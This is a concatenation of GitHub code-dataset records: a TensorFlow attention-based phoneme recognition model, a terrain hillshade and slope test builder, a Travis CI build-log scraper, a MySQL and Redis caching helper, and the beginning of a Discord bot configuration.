format, you need to support the tf.py_func function.\n When reading data at the same time, pay attention to whether it is in the test stage.\n '''\n audio_filename = path\n feature_filename = tf.string_join([tf.string_split([audio_filename],\".\").values[0],'.40logfbank'])\n #Perform feature reading\n #Read features in h5py files, while eliminating redundant dimensions\n audio_feature = tf.squeeze(tf.py_func(self.read_feature,[feature_filename],[tf.float32]))\n #Convert the read feature into a tensor, and the length of the feature should be recorded\n audio_feature = tf.convert_to_tensor(audio_feature)\n audio_length = tf.shape(audio_feature)[0]\n if self.is_testing:\n return {'audios':audio_feature,'audio_lengths':audio_length}\n else:\n #Read the target\n label_filename = tf.string_join([tf.string_split([audio_filename],\".\").values[0],'.label'])\n #Read the label in the h5py file, and you need to eliminate the extra dimensions\n target_label = tf.squeeze(tf.py_func(self.read_label,[label_filename],[tf.int32]))\n train_label = tf.squeeze(tf.py_func(self.read_train_label,[label_filename],[tf.int32]))\n\n #Convert the read label to a tensor and record the length of the label\n target_label = tf.convert_to_tensor(target_label)\n target_length = tf.shape(target_label)[0]\n train_label = tf.convert_to_tensor(train_label)\n\n return {'audios':audio_feature,'audio_lengths':audio_length,'train_label':train_label,'target_label':target_label,'target_length':target_length}\n def batch_data_extract(self):\n '''\n Settings for all inputs\n audio_features:The input voice features of a batch\n audio_feature_lengths:The length of a batch voice feature input\n target_phones:Target phoneme sequence input during training phase\n target_phone_lengths:Sequence length of the target factor input during the training phase\n maximum_decode_iter_num:Maximum number of decoding steps during decoding\n '''\n with tf.variable_scope('Dataset'):\n self.train_paths = tf.placeholder(tf.string)\n \n self.valid_paths = tf.placeholder(tf.string)\n\n self.train_valid = tf.placeholder(tf.bool)\n \n #这是训练集的读取\n dataset = tf.data.Dataset.from_tensor_slices(self.train_paths)\\\n .map(self.extract_data_from_path,num_parallel_calls = 3)\\\n .prefetch(buffer_size = 2 * self.batch_size)\\\n .padded_batch(batch_size = self.batch_size,padded_shapes = {'audios':[None,self.feature_dim],'audio_lengths':[],\n 'train_label':[None],'target_label':[None],'target_length':[]},drop_remainder = True)\n #这是验证集的读取\n valid_dataset = tf.data.Dataset.from_tensor_slices(self.valid_paths)\\\n .map(self.extract_data_from_path,num_parallel_calls = 1)\\\n .prefetch(buffer_size = 2 * self.batch_size)\\\n .padded_batch(batch_size = self.batch_size,padded_shapes = {'audios':[None,self.feature_dim],'audio_lengths':[],\n 'train_label':[None],'target_label':[None],'target_length':[]},drop_remainder = True)\n\n #Use dataset to read data while prefetch\n self.train_iterator = dataset.make_initializable_iterator()\n self.valid_iterator = valid_dataset.make_initializable_iterator()\n #Get a batch of data\n ##Determine whether to get train or valid\n\n batch_data = tf.cond(self.train_valid, lambda:self.train_iterator.get_next(), lambda:self.valid_iterator.get_next())\n\n\n self.audio_features = batch_data['audios']\n\n self.audio_feature_lengths = batch_data['audio_lengths']\n\n self.target_phones = batch_data['target_label']\n\n self.train_phones = batch_data['train_label']\n\n self.target_phone_lengths = batch_data['target_length']\n\n self.maximum_decode_iter_num = tf.reduce_max(self.target_phone_lengths,\n name = 'max_dec_len')\n def test_data_extract(self):\n '''\n During testing:\n Settings for all inputs\n audio_features:The input voice features of a batch\n audio_feature_lengths:The length of a batch voice feature input\n '''\n #Determine whether to give test paths\n if not self.test_paths:\n print(\"there is no test path!\\n\")\n print(\"please input the paths\")\n test_dataset = tf.data.Dataset.from_tensor_slices(self.test_paths)\\\n .map(self.extract_data_from_path,num_parallel_calls = 4)\\\n .prefetch(buffer_size = 2 * self.batch_size)\\\n .padded_batch(batch_size = self.batch_size,padded_shapes = {'audios':[None,self.feature_dim],'audio_lengths':[]})\n self.test_iterator = test_dataset.make_initializable_iterator()\n batch_data = self.test_iterator.get_next()\n\n self.audio_features = batch_data['audios']\n self.audio_feature_lengths = batch_data['audio_lengths']\n\n def add_embeddings(self):\n '''\n Map the input phoneme index to a fixed-length vector\n Generate a transformation vector\n '''\n \n self.embedding_matrix = tf.get_variable('embedding_matrix',shape = [self.num_classes,self.embedding_dim],dtype = tf.float32,trainable = True)\n def add_lookup_ops(self,phone_indexs):\n '''\n Convert a given phoneme to a vector\n '''\n with tf.variable_scope('Lookup'):\n phone_embedding = tf.nn.embedding_lookup(self.embedding_matrix,\n self.train_phones,\n name = 'phone_embedding')\n phone_embedded_vector = tf.nn.dropout(phone_embedding,\n self.keep_probability_e,\n name = 'phone_embedded_vector')\n return phone_embedded_vector\n\n def build_encoder(self,encoder_inputs,encoder_lengths):\n '''\n Build the encoder\n Parameter:\n encoder_inputs:[batch_size,T,?]\n encoder_lengths:[batch_size]\n '''\n with tf.variable_scope('Encoder'):\n inputs = encoder_inputs\n sequence_lengths = encoder_lengths\n #Set the initial state of lstm\n state = None\n for n in range(self.num_layer_encoder):\n with tf.variable_scope('encoder_layer_'+str(n+1)) as scope:\n lstm_output, state = model_module.encoder_lstm_layer(inputs,\n sequence_lengths,\n self.rnn_size_encoder,\n state,\n self.is_training)\n #Process the output of the network layer further\n (forward_state,backward_state) = state\n inputs = lstm_output\n ''' \n with tf.variable_scope('pyramidal_layer_'+str(1)):\n inputs,sequence_lengths = model_module.reshape_pyramidal(lstm_output,sequence_lengths)\n \n sequence_lengths = sequence_lengths\n '''\n \n \n \n #Encapsulate the lstm state of the last layer\n #The encapsulated lstm state can be used in the subsequent decoder\n forward_hidden_state,backward_hidden_state = forward_state[0],backward_state[0]\n forward_cell_state,backward_cell_state = forward_state[1],backward_state[1]\n encoder_hidden_state = tf.concat((forward_hidden_state,backward_hidden_state), axis = -1)\n encoder_cell_state = tf.concat((forward_cell_state,backward_cell_state), axis = -1)\n encoder_state = tf.nn.rnn_cell.LSTMStateTuple(c = encoder_cell_state, h = encoder_hidden_state)\n\n return inputs, sequence_lengths, encoder_state\n\n def build_decoder_cell(self,encoder_outputs,encoder_state,encoder_sequence_lengths):\n '''\n Building a lstm unit in a decoder\n '''\n memory = encoder_outputs\n\n #If it is in the speculative stage, you need to tile each state and variable\n if self.mode == 'INFER' and self.beam_width > 0:\n memory = tf.contrib.seq2seq.tile_batch(memory,\n multiplier = self.beam_width)\n encoder_state = tf.contrib.seq2seq.tile_batch(encoder_state,\n multiplier = self.beam_width)\n encoder_sequence_lengths = tf.contrib.seq2seq.tile_batch(encoder_sequence_lengths,\n multiplier = self.beam_width)\n batch_size = self.batch_size * self.beam_width\n else:\n batch_size = self.batch_size\n\n #Build lstm\n with tf.variable_scope('decoder_lstm_layer'):\n if self.num_layer_decoder is not None:\n lstm_cell = tf.nn.rnn_cell.MultiRNNCell(\n [model_module.rnn_cell(self.rnn_size_decoder) for _ in range(self.num_layer_decoder)])\n\n else:\n lstm_cell = model_module.rnn_cell(self.rnn_size_decoder)\n\n cell = model_module.attention_cell(lstm_cell,\n self.rnn_size_decoder,\n memory,\n encoder_sequence_lengths)\n #Set the initial state\n decoder_state = tuple([encoder_state] * self.num_layer_decoder)\n decoder_initial_state = cell.zero_state(batch_size, tf.float32).clone(cell_state = decoder_state)\n\n return cell, decoder_initial_state\n def build_decoder(self,encoder_outputs,encoder_state,encoder_sequence_lengths,decoder_inputs_lengths = None,decoder_inputs = None):\n '''\n Build the decoder\n '''\n '''\n 参数解释:\n encoder_outputs:[batch_size,T,?]Encoding sequence from the encoder\n encoder_state:[batch_size,?]The last output state of the encoder, you can use this to initialize the initial state of the decoder\n encoder_sequence_lengths:[batch_size]The true and valid length in the last encoded sequence of the encoder\n decoder_inputs_lengths:[batch_size]In the training phase, the true length of the sequence in the input decoder\n decoder_inputs:[batch_size,T,embedding_dim]During the training phase. Input decoder's embedded_vector\n '''\n with tf.variable_scope('Decoder') as decode_scope:\n sos_id_2 = tf.cast(self.phn2ind[self.sos],tf.int32)\n eos_id_2 = tf.cast(self.phn2ind[self.eos],tf.int32)\n with tf.variable_scope('Output_layer'):\n self.output_layer = Dense(self.num_classes,name = 'output_layer')\n\n with tf.variable_scope('decoder_attention_wrapper'):\n decoder_cell,decoder_initial_state = self.build_decoder_cell(encoder_outputs,\n encoder_state,\n encoder_sequence_lengths)\n\n #During Training\n if self.mode != 'INFER':\n with tf.variable_scope('Helper'):\n\n train_helper = tf.contrib.seq2seq.ScheduledEmbeddingTrainingHelper(\n inputs = decoder_inputs,\n sequence_length = decoder_inputs_lengths,\n embedding = self.embedding_matrix,\n sampling_probability = self.sampling_probability,\n time_major = False)\n\n train_decoder = tf.contrib.seq2seq.BasicDecoder(decoder_cell,\n train_helper,\n decoder_initial_state,\n output_layer = self.output_layer)\n\n #Dynamic decoding\n outputs, final_context_state,_ = tf.contrib.seq2seq.dynamic_decode(\n train_decoder,\n output_time_major = False,\n maximum_iterations = self.maximum_decode_iter_num,\n swap_memory = False,\n impute_finished = True,\n scope = decode_scope)\n sample_id = outputs.sample_id\n logits = outputs.rnn_output\n #Prediction stage\n else:\n start_tokens = tf.fill([self.batch_size],sos_id_2)\n end_token = eos_id_2\n\n #If you do beam_search\n if self.beam_width > 0:\n my_decoder = tf.contrib.seq2seq.BeamSearchDecoder(\n cell = decoder_cell,\n embedding = self.embedding_matrix,\n start_tokens = start_tokens,\n end_token = end_token,\n initial_state = decoder_initial_state,\n beam_width = self.beam_width,\n output_layer = self.output_layer)\n #When beam_search is zero, choose to use greedy\n else:\n greedy_helper = tf.contrib.seq2seq.GreedyEmbeddingHelper(self.embedding_matrix,\n start_tokens,\n end_token)\n my_decoder = tf.contrib.seq2seq.BasicDecoder(decoder_cell,\n greedy_helper,\n decoder_initial_state,\n output_layer = self.output_layer)\n #Dynamic decoding\n outputs, final_context_state,_ = tf.contrib.seq2seq.dynamic_decode(\n my_decoder,\n maximum_iterations = 300,\n output_time_major = False,\n impute_finished = False,\n swap_memory = False,\n scope = decode_scope)\n if self.beam_width > 0:\n logits = tf.no_op()\n sample_id = outputs.predicted_ids\n else:\n logits = tf.no_op()\n sample_id = outputs.sample_id\n return logits, sample_id, final_context_state,outputs\n\n def average_gradients(self,tower_grads):\n '''\n Calculate the average gradient\n '''\n average_grads = []\n for grad_and_vars in zip(*tower_grads):\n\n grads = []\n for g, z in grad_and_vars:\n expanded_g = tf.expand_dims(g,0)\n\n grads.append(expanded_g)\n grad = tf.concat(grads,axis = 0)\n grad = tf.reduce_mean(grad,0)\n\n v = grad_and_vars[0][1]\n grad_and_var = (grad,v)\n average_grads.append(grad_and_var)\n return average_grads\n\n def build_model(self):\n '''\n Build the model\n '''\n with tf.variable_scope('optimizer'):\n self.optimizer = tf.train.RMSPropOptimizer(learning_rate = self.learning_rate)\n with tf.variable_scope('model',dtype = tf.float32):\n if self.mode == 'TRAIN':\n self.tower_grads = []\n self.tower_loss = []\n self.tower_ler = []\n for i in range(self.num_gpu_device):\n with tf.device(\"/gpu:{}\".format(i)):\n with tf.variable_scope(tf.get_variable_scope(),reuse = tf.AUTO_REUSE):\n #If it is multi-gpu, you need to split the input data\n audio_inputs = tf.split(value = self.audio_features,\n num_or_size_splits = self.num_gpu_device,\n axis = 0)[i]\n\n audio_sequence_lengths = tf.split(value = self.audio_feature_lengths,\n num_or_size_splits = self.num_gpu_device,\n axis = 0)[i]\n\n phone_embedded_inputs = tf.split(value = self.phone_embedded_vector,\n num_or_size_splits = self.num_gpu_device,\n axis = 0)[i]\n\n phone_sequence_lengths = tf.split(value = self.target_phone_lengths,\n num_or_size_splits = self.num_gpu_device,\n axis = 0)[i]\n target_phones_gpu = tf.split(value = self.target_phones,\n num_or_size_splits = self.num_gpu_device,\n axis = 0)[i]\n\n train_phones_gpu = tf.split(value = self.train_phones,\n num_or_size_splits = self.num_gpu_device,\n axis = 0)[i]\n\n #Put data into the encoder\n encoder_outputs,encoder_sequence_lengths,encoder_state = self.build_encoder(encoder_inputs = audio_inputs,\n encoder_lengths = audio_sequence_lengths)\n\n #Put the output of the encoder into the decoder\n logits, sample_ids, final_context_state,decoder_output = self.build_decoder(encoder_outputs = encoder_outputs,\n encoder_state = encoder_state,\n encoder_sequence_lengths = audio_sequence_lengths,\n decoder_inputs_lengths = phone_sequence_lengths,\n decoder_inputs = phone_embedded_inputs)\n #Perform zero padding on logits\n logits = tf.pad(logits,[[0,0],[0,(self.maximum_decode_iter_num - tf.shape(logits)[1])],[0,0]])\n loss = model_module.compute_loss(logits,target_phones_gpu,phone_sequence_lengths,self.maximum_decode_iter_num)\n ler = model_module.compute_ler(logits,target_phones_gpu,self.phn2ind[self.eos])\n grads = self.optimizer.compute_gradients(loss)\n self.tower_grads.append(grads)\n self.tower_loss.append(tf.reduce_mean(loss))\n self.tower_ler.append(tf.reduce_mean(ler))\n \n with tf.variable_scope('summary_op'):\n \n self.train_loss = tf.reduce_mean(self.tower_loss)\n #记录下loss\n self.training_summary = tf.summary.scalar('loss',self.train_loss)\n \n \n self.train_ler = tf.reduce_mean(self.tower_ler)\n\n self.ler_summary = tf.summary.scalar('ler',self.train_ler)\n #设立总的global_step\n self.global_step = tf.Variable(0, trainable = False)\n\n self.summary_op = tf.summary.merge_all()\n\n #optimizer = tf.train.AdamOptimizer(self.learning_rate, beta1=0.8, beta2=0.99,epsilon = 1e-05)\n #optimizer = tf.train.GradientDescentOptimizer(self.learning_rate)\n #optimizer = tf.train.AdadeltaOptimizer(self.learning_rate)\n \n self.learning_rate = tf.train.exponential_decay(learning_rate = self.learning_rate,global_step = self.global_step,\n decay_steps = self.learning_rate_decay_steps,decay_rate = self.learning_rate_decay)\n \n \n #Whether clipping is required\n with tf.variable_scope('Train_optimizer'):\n grads = self.average_gradients(self.tower_grads)\n\n apply_gradient_op = self.optimizer.apply_gradients(grads,global_step = self.global_step)\n\n variable_averages = tf.train.ExponentialMovingAverage(0.99,self.global_step)\n\n variable_averages_op = variable_averages.apply(tf.trainable_variables())\n\n self.train_op = tf.group(apply_gradient_op,variable_averages_op)\n '''\n with tf.variable_scope('train_optimizer'):\n if self.clip > 0:\n grads,vs = zip(*optimizer.compute_gradients(self.train_loss))\n #为了防止梯度爆炸,做梯度修正\n grads, _ = tf.clip_by_global_norm(grads, self.clip)\n\n self.train_op = optimizer.apply_gradients(zip(grads, vs),\n global_step = self.global_step)\n else:\n #直接最小化loss\n self.train_op = optimizer.minimize(self.train_loss,\n global_step = self.global_step)\n '''\n elif self.mode == 'INFER':\n #encoder\n encoder_outputs,encoder_sequence_lengths,encoder_state = self.build_encoder(encoder_inputs = self.audio_features,\n encoder_lengths = self.audio_feature_lengths)\n\n #Put the output of the encoder into the decoder\n #In the speculation phase, there are no inputs to the decoder\n logits, sample_ids, final_context_state,outputs = self.build_decoder(encoder_outputs = encoder_outputs,\n encoder_state = encoder_state,\n encoder_sequence_lengths = encoder_sequence_lengths)\n loss = None\n\n self.infer_logits, _, self.final_context_state, self.sample_id,self.outputs = logits, loss, final_context_state, sample_ids,outputs\n\n def train(self,\n restore_path = None):\n '''\n Operations for training,\n \n restore_path:If this option is turned on, training is based on existing models\n\n '''\n self.best_loss = np.inf\n\n #Whether to store as summary\n if self.summary_dir is not None:\n #Set up two writers\n self.add_summary()\n #Then start the session\n self.initialize_session()\n\n\n #If restore_path exists, restore model is required\n \n if restore_path is not None:\n self.restore_session(restore_path)\n if self.embedding_model is not None:\n self.restore_embedding()\n audio_paths = self.dataset_path_pickle(self.dataset_path)\n valid_paths = self.dataset_path_pickle(self.valid_path)\n\n self.train_audio_paths = audio_paths\n self.valid_audio_paths = valid_paths\n random.shuffle(self.train_audio_paths)\n random.shuffle(self.valid_audio_paths)\n #Start iterative training\n #Initialize the data iterator\n self.sess.run(self.train_iterator.initializer,feed_dict = {self.train_paths:self.train_audio_paths,\n self.valid_paths:self.valid_audio_paths,\n self.train_valid:True})\n epoch = 1\n epoch_time_start = time.time()\n self.epoch_loss = []\n self.epoch_ler = []\n print('-----------------------------Epoch {} of {} ----------------------------'.format(epoch,self.epochs))\n self.batch_start_time = time.time()\n \n i = 0\n step = 0\n while True:\n try:\n if epoch > self.epochs:\n break\n i += 1\n step += 1\n self.is_training = True\n #每个batch的运行\n loss,ler,summary_op,_ = self.sess.run([self.train_loss,self.train_ler,self.summary_op,self.train_op],feed_dict = {self.train_valid:True})\n \n self.epoch_loss.append(loss)\n self.epoch_ler.append(ler)\n\n if i > 0 and (i % 200 == 0):\n batch50_end_time = time.time()\n self.train_writer.add_summary(summary_op, step)\n during_time = batch50_end_time - self.batch_start_time\n self.batch_start_time = batch50_end_time\n print('Epoch: {}, Batch: {}, train_loss: {:.4f}, train_ler: {:.4f}, during time: {:.2f}s'.format(epoch,i,loss,ler,during_time))\n if i > 0 and (i % 800 == 0):\n #For every 200 batches, valid once\n self.is_training = False\n self.sampling_probability = 1.0\n random.shuffle(self.valid_audio_paths)\n self.sess.run(self.valid_iterator.initializer,feed_dict = {self.valid_paths :self.valid_audio_paths,\n self.train_valid:False})\n valid_loss = []\n valid_ler = []\n for z in range(10):\n loss,ler,summary_op = self.sess.run([self.train_loss,self.train_ler,self.summary_op],feed_dict = {self.train_valid:False})\n valid_loss.append(loss)\n valid_ler.append(ler)\n self.eval_writer.add_summary(summary_op,step)\n average_valid_loss = self.sess.run(tf.reduce_mean(valid_loss))\n average_valid_ler = self.sess.run(tf.reduce_mean(valid_ler))\n valid_end_time = time.time()\n valid_during_time = valid_end_time - self.batch_start_time\n self.sampling_probability = 0.75\n\n print('validation loss: {:.4f}, validation ler: {:.4f}, validation time: {:.2f}s'.format(average_valid_loss,average_valid_ler,valid_during_time))\n except tf.errors.OutOfRangeError:\n epoch_ave_loss = self.sess.run(tf.reduce_mean(self.epoch_loss))\n epoch_ave_ler = self.sess.run(tf.reduce_mean(self.epoch_ler))\n epoch_time_end = time.time()\n epoch_during_time = epoch_time_end - epoch_time_start\n print('the epoch {}, average loss: {:.4f}, average_ler: {:.4f}, during time: {:.2f}s'.format(str(epoch),epoch_ave_loss,epoch_ave_ler,epoch_during_time))\n \n \n #Determine if the loss is the best to determine the storage model\n if epoch_ave_loss <= self.best_loss:\n if not os.path.exists(self.save_path):\n os.makedirs(self.save_path)\n self.saver.save(self.sess,self.save_path,global_step = epoch)\n self.best_loss = epoch_ave_loss\n\n print('\\n---------------------new best loss: {:.4f} --------------------\\n'.format(self.best_loss))\n print('---------------------save the best model at: {}--------------------'.format(self.save_path))\n epoch += 1\n epoch_time_start = time.time()\n self.epoch_loss = []\n self.epoch_ler = []\n print('-----------------------------Epoch {} of {} ----------------------------'.format(epoch,self.epochs))\n self.batch_start_time = time.time()\n random.shuffle(self.train_audio_paths)\n self.sess.run(self.train_iterator.initializer,feed_dict = {self.train_paths :self.train_audio_paths})\n i = 0\n def infer(self,restore_path):\n '''\n Load the model and predict the data, usually the batchsize here is set to 1\n restore_path:Is the address of the folder where the model is stored\n '''\n if restore_path == None:\n print('please input a restore path')\n #Open the session and load the model, and pay attention to the setting of some parameters\n self.initialize_session()\n if restore_path is not None:\n self.restore_session(restore_path)\n else:\n print('there is no saved model in ',restore_path)\n\n #Initialize the iterator\n self.sess.run(self.test_iterator.initializer)\n prediction_ids = []\n for i in range(len(self.test_paths)):\n try:\n print(self.test_paths[i])\n #logits = self.sess.run(self.outputs)[0]\n #logits = self.sess.run(tf.nn.softmax(logits))\n #print(np.shape(logits))\n pred_ids = self.sess.run(self.sample_id)\n for pred_id in pred_ids:\n prediction_ids.append(pred_id)\n print('Have been inferred the path:',self.test_paths[i])\n except tf.errors.OutOfRangeError:\n #Prevent anomalies\n print('all test audios have been inferred !')\n return prediction_ids\n return prediction_ids\n\n\n def initialize_session(self):\n '''\n 开启session\n '''\n #Global initialization\n config = tf.ConfigProto(allow_soft_placement = True)\n config.gpu_options.allow_growth = True\n self.sess = tf.Session(config = config)\n self.sess.run(tf.global_variables_initializer())\n def restore_embedding(self):\n '''\n Extract the trained embedding matrix from the embedding model\n '''\n self.saver_embedding = tf.train.Saver([self.embedding_matrix])\n var = tf.global_variables()\n variable_to_restore = [val for val in var if 'embedding_matrix' in val.name]\n self.saver_embedding.restore(self.sess,tf.train.latest_checkpoint(self.embedding_model))\n def restore_session(self,restore_path):\n '''\n Extract the saved model from restore_path\n '''\n self.saver.restore(self.sess,tf.train.latest_checkpoint(restore_path))\n print('Done restoring from the path: ', restore_path)\n def add_summary(self):\n '''\n Set up two writers, then display the summary using tensorboard\n '''\n\n self.train_writer = tf.summary.FileWriter(self.summary_dir + '/train',\n tf.get_default_graph())\n self.eval_writer = tf.summary.FileWriter(self.summary_dir + '/valid')\n","repo_name":"fengxin-bupt/Application-of-Word2vec-in-Phoneme-Recognition","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":38787,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"61"} +{"seq_id":"71067609475","text":"from surface.slope import make_slope, make_std_dem, make_std_slope\nfrom surface.slope import make_area_ratio, make_slope_variance, make_arc_tpi, make_profile_curvature\nfrom surface.hillshade import make_hillshade\n\n\ndef make_terrain_tests(dem):\n\n slope = make_slope(dem)\n slope_var = make_slope_variance(slope, 51)\n sd_slope = make_std_slope(slope, 51)\n sd_dem = make_std_dem(dem, 51)\n area_ratio = make_area_ratio(slope)\n arc_tpi = make_arc_tpi(dem, 51)\n kpr, sd_kpr = make_profile_curvature(dem)\n shade0 = make_hillshade(dem, 0, 45)\n shade90 = make_hillshade(dem, 90, 45)\n shade180 = make_hillshade(dem, 180, 45)\n shade270 = make_hillshade(dem, 270, 45)\n shade45 = make_hillshade(dem, 45, 45)\n shade135 = make_hillshade(dem, 135, 45)\n shade225 = make_hillshade(dem, 225, 45)\n shade315 = make_hillshade(dem, 315, 45)\n\n test_surfaces = [slope, sd_slope, sd_dem, area_ratio, slope_var, arc_tpi, kpr, sd_kpr,\n shade0, shade90, shade180, shade270, shade45, shade135, shade225, shade315]\n\n ids = ['Slope', 'SD of Slope', 'SD of Dem', 'Area Ratio', 'Slope Variance', 'TPI', 'Curvature',\n 'SD of Curvature', 'Hillshade 0 Az.', 'Hillshade 90 Az.', 'Hillshade 180 Az.', 'Hillshade 270 Az.',\n 'Hillshade 45 Az.', 'Hillshade 135 Az.', 'Hillshade 225 Az.', 'Hillshade 315 Az.']\n\n return ids, test_surfaces\n","repo_name":"charparr/pattern-iqa","sub_path":"surface/make_terrain_surfs.py","file_name":"make_terrain_surfs.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"70163095556","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Dec 12 17:58:45 2018\n\nScript that scrapes the Travis API to collect build logs for a build identifier\n\n@author: natha\n\"\"\"\n\nimport time\nimport requests\n\n\nimport travis.travis_token as tt\n\nTRAVIS_TOKEN = tt.travis_token\n\nBASE_TRAVIS_URL = \"https://api.travis-ci.org\"\n\nTRAVIS_HEADER = {'Travis-API-Version' : '3', \n 'Authorization' : 'token {}'.\n format(TRAVIS_TOKEN)}\n\n\ndef retrieve_build_for_identifier(build_identifier):\n builds_url = \"{}/{}/{}\".format(BASE_TRAVIS_URL, 'build', build_identifier)\n \n build_response = requests.get(builds_url, headers = TRAVIS_HEADER)\n \n if build_response.status_code not in [200, 403, 404]:\n print(\"Could not access data from travis\")\n \n time.sleep(2)\n \n build_response = requests.get(builds_url, headers = TRAVIS_HEADER)\n \n if build_response.status_code not in [200, 403, 404]:\n raise ValueError(\"Could not scrape a build from Travis\")\n \n build_data = build_response.json()\n \n if build_data['@type'] == 'error':\n raise ValueError(\"Could not scrape build from Travis response was {}\"\n .format(build_data))\n \n return build_data\n\ndef extract_job_ids_for_build(build_data):\n if len(build_data[\"jobs\"]) == 0:\n raise ValueError(\"No jobs for this build\")\n \n job_ids = []\n \n for job in build_data[\"jobs\"]:\n job_ids.append(job[\"id\"])\n \n return job_ids\n \n\ndef retrieve_build_log_for_job_id(job_identifier):\n build_log_url = \"{}/{}/{}/log\".format(BASE_TRAVIS_URL, \"job\", job_identifier)\n \n actual_headers = dict(TRAVIS_HEADER)\n \n # This is needed so that the build log is not in some weird decoded unreadable\n # format\n actual_headers[\"Accept\"] = \"text/plain\"\n \n log_response = requests.get(build_log_url, headers = actual_headers)\n \n if log_response.status_code not in [200]:\n print(\"Could not retrieve build log from Travis, status code is {}\".\n format(log_response.status_code))\n \n return log_response.text\n\ndef retrieve_build_identifier_from_travis_url(url):\n if \"travis-ci.org\" not in url:\n raise ValueError(\"The url {} is not a valid travis url\"\n .format(url))\n \n identifier = url.split(\"builds/\")[1].split(\"/\")[0]\n \n return identifier\n\n'''\nGiven a set of build identifiers, goes to Travis to collects all \nassorted logs and returns these logs. As a travis build consists \nout of several jobs one build identifier might return more than \none log.\n\nReturn type is an array of string, where each string is a complete\nbuild log as recorded by Travis. \n'''\ndef build_logs_for_identifiers(identifiers):\n log_output = []\n \n for identifier in identifiers:\n build_data = retrieve_build_for_identifier(identifier)\n \n job_ids = extract_job_ids_for_build(build_data)\n \n for job_id in job_ids:\n log_output.append(retrieve_build_log_for_job_id(job_id))\n \n return log_output\n ","repo_name":"TheDutchDevil/code_reviews","sub_path":"analysis/archive/travis/scrape_build_logs.py","file_name":"scrape_build_logs.py","file_ext":"py","file_size_in_byte":3128,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"1670281704","text":"# -*- coding: utf-8 -*-\n# @Author : pmz\n# @Time : 2023/04/23 09:57:04\n# @Software : python3.11\n# @Desc : 操作数据库的类, 继承使用(mysql, redis)\nimport datetime\nimport json\n\nfrom pymysql import Connection\nfrom pymysql.cursors import Cursor, DictCursor\nfrom yyxx_game_pkg.conf import settings\nfrom yyxx_game_pkg.dbops.mysql_op import MysqlOperation\nfrom yyxx_game_pkg.helpers.mysql_helper import get_dbpool\nfrom yyxx_game_pkg.helpers.redis_helper import get_redis\n\n\nclass OPHelper:\n # --------------- mysql start ---------------\n @classmethod\n def connection(cls, mysql_alias=\"default\", dict_cursor=True) -> Connection:\n db_settings = {}\n for k, v in settings.DATABASES[mysql_alias].items():\n if k == \"PORT\" and isinstance(v, str) and v.isdigit(): # PORT 必须为数字\n v = int(v)\n db_settings[k.lower()] = v\n if k == \"NAME\":\n db_settings[\"db\"] = db_settings.pop(\"name\")\n db_settings[\"cursor\"] = DictCursor if dict_cursor else Cursor\n return get_dbpool(db_settings).get_connection()\n\n @classmethod\n def mp(cls):\n return MysqlOperation()\n\n @classmethod\n def sql_func_get_one(cls):\n return cls.mp().get_one\n\n @classmethod\n def sql_func_get_all(cls):\n return cls.mp().get_all\n\n # --------------- mysql end ---------------\n\n # --------------- redis start ---------------\n @classmethod\n def redis(cls, redis_alias=\"default\"):\n return get_redis(settings.REDIS_SERVER[redis_alias])\n\n # --------------- redis end ---------------\n\n # --------------- redis cache start ---------------\n @classmethod\n def cache(\n cls,\n sql=\"\",\n sql_func=None,\n redis_key=\"\",\n ex=None,\n redis_alias=\"default\",\n mysql_alias=\"default\",\n ):\n \"\"\"\n :param sql: sql语句\n :param sql_func: sql方法 execute get_one get_all insert\n :param redis_key: 缓存key\n :param ex: 缓存过期时间,None表示不设置过期时间\n :param redis_alias: 从redis_config中获取对应redis配置\n :param mysql_alias: 从mysql_config中获取对应mysql配置\n \"\"\"\n _redis = cls.redis(redis_alias)\n data = _redis.get_data(redis_key)\n if not data:\n data = sql_func(sql, cls.connection(mysql_alias))\n if data:\n _redis.set_data(redis_key, json.dumps(str(data)), ex)\n\n if isinstance(data, bytes):\n data = eval(json.loads(data))\n\n return data\n\n @classmethod\n def cache_sql_one(\n cls,\n sql,\n redis_key,\n ex=None,\n redis_alias=\"default\",\n mysql_alias=\"default\",\n ):\n sql_func = cls.mp().get_one\n return cls.cache(sql, sql_func, redis_key, ex, redis_alias, mysql_alias)\n\n @classmethod\n def cache_sql_all(\n cls,\n sql,\n redis_key,\n ex=None,\n redis_alias=\"default\",\n mysql_alias=\"default\",\n ):\n sql_func = cls.mp().get_all\n return cls.cache(sql, sql_func, redis_key, ex, redis_alias, mysql_alias)\n\n # --------------- redis cache end ---------------\n","repo_name":"yyxxgame/yyxxgame-pkg","sub_path":"yyxx_game_pkg/helpers/op_helper.py","file_name":"op_helper.py","file_ext":"py","file_size_in_byte":3214,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"11788657524","text":"import os\nfrom typing import Any, Literal\n\nfrom discord import Intents\nfrom discord.ext import commands\nfrom dotenv import load_dotenv\n\nfrom .helper import _MissingSentinel\nfrom .version import Version\n\nload_dotenv('.env', verbose=True)\n\nMISSING: Any = _MissingSentinel\n\nINTENTS = Intents(\n messages=True,\n members=True,\n message_content=True,\n guilds=True,\n guild_messages=True,\n voice_states=True,\n reactions=True,\n dm_messages=True,\n presences=True\n)\n\nCog = commands.Cog\nCommand = commands.Command\n\nTOKEN = os.getenv('TOKEN')\nSPOTIFY_CLIENT_ID = os.getenv('SPOTIFY_CLIENT_ID')\nSPOTIFY_CLIENT_SECRET = os.getenv('SPOTIFY_CLIENT_SECRET')\n\nDEFAULT_PREFIX = [')', '(']\n\n\nPREFIX_CONFIG_SCHEMA = \"\"\"\nCREATE TABLE IF NOT EXISTS prefixes (\n guild_id BIGINT UNIQUE,\n prefix TEXT,\n UNIQUE(guild_id, prefix)\n)\n\"\"\"\n\nANIME_NEWS_CONFIG_SCHEMA = \"\"\"\nCREATE TABLE IF NOT EXISTS anime_news (\n title TEXT,\n description TEXT,\n url TEXT,\n image TEXT);\"\"\"\n\nVERSION = Version(\n major=0,\n sub_major=1,\n minor=0,\n patch='alpha'\n)\n\nPRIVACY_POLICY_LINK = \"https://example.com\"\nPATREON_LINK = \"https://example.com\"\nINVITE_LINK = \"https://example.com\"\nSTATUS_PAGE_LINK = 